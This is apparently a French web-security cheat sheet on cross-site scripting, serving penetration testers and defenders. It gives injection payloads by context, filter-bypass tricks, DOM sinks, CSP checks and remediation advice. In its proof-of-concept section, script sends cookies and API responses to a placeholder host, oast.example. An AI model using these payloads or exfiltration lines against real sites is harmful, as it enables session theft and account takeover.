WEB Technique · Web

XSS

Identifier le contexte d'injection, choisir le bon payload et contourner les filtres côté client.

Intermédiaire / 1 min de lecture / maj 06 nov 2026 / 5 tags
raw domaine signaler
Index des sheets

#Identifier le contexte

Contexte Payload de test
HTML entre balises <script>alert(1)</script>
Attribut entre guillemets " autofocus onfocus="alert(1)
Attribut sans guillemets x onmouseover="alert(1)
Chaîne JavaScript ';alert(1)//
URL (href) javascript:alert(1)
Template côté client {{constructor.constructor('alert(1)')()}}
html
<!-- Test minimal, sans dépendance -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg/onload=alert(document.domain)>
"><img src=x onerror=alert(1)>

#Filtres et encodages

html
<!-- Balises et event handlers alternatifs -->
<details open ontoggle=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<a href="javascript:alert(1)">click</a>

<!-- Encodage HTML -->
&#60;img src=x onerror=alert(1)&#62;

<!-- Contournement de blacklist naïve -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert(1)//

#DOM XSS

Sources contrôlables : location.hash, location.search, document.referrer, window.name, postMessage.

javascript
// Sinks dangereux
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);
location.href = userInput;
javascript
// Test rapide d'un sink
location.hash = '<img src=x onerror=alert(1)>';

#Vol de données (PoC)

html
<script>
fetch('https://oast.example/?c=' + encodeURIComponent(document.cookie));
</script>
html
<!-- Extraction d'un token CSRF dans le DOM -->
<script>
fetch('/api/me').then(r => r.text()).then(t => {
  new Image().src = 'https://oast.example/?d=' + encodeURIComponent(t);
});
</script>

Sur une app moderne, préfère un PoC qui prouve l'exécution (alerte, requête vers un collaborator) sans exfiltrer de données réelles.

#CSP

bash
# Vérifier la politique
curl -sI https://target.test | grep -i content-security-policy
  • unsafe-inline autorise scripts et handlers inline.
  • nonce-... : cherche un endpoint qui reflète le nonce ou une injection dans une balise autorisée.
  • strict-dynamic ne protège pas si un script autorisé est déjà détournable.
  • Les CDN autorisés (cdn.jsdelivr.net) peuvent héberger des bibliothèques avec gadgets.

#Remédiation

  • Encodage contextuel côté serveur (HTML, attribut, JS, URL).
  • Assainissement HTML avec une allowlist stricte si le HTML utilisateur est nécessaire.
  • CSP avec nonce, object-src 'none', base-uri 'none'.
  • Cookies HttpOnly, Secure, SameSite=Lax.
  • Tests automatisés sur les contextes réels, pas seulement <script>alert(1).
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?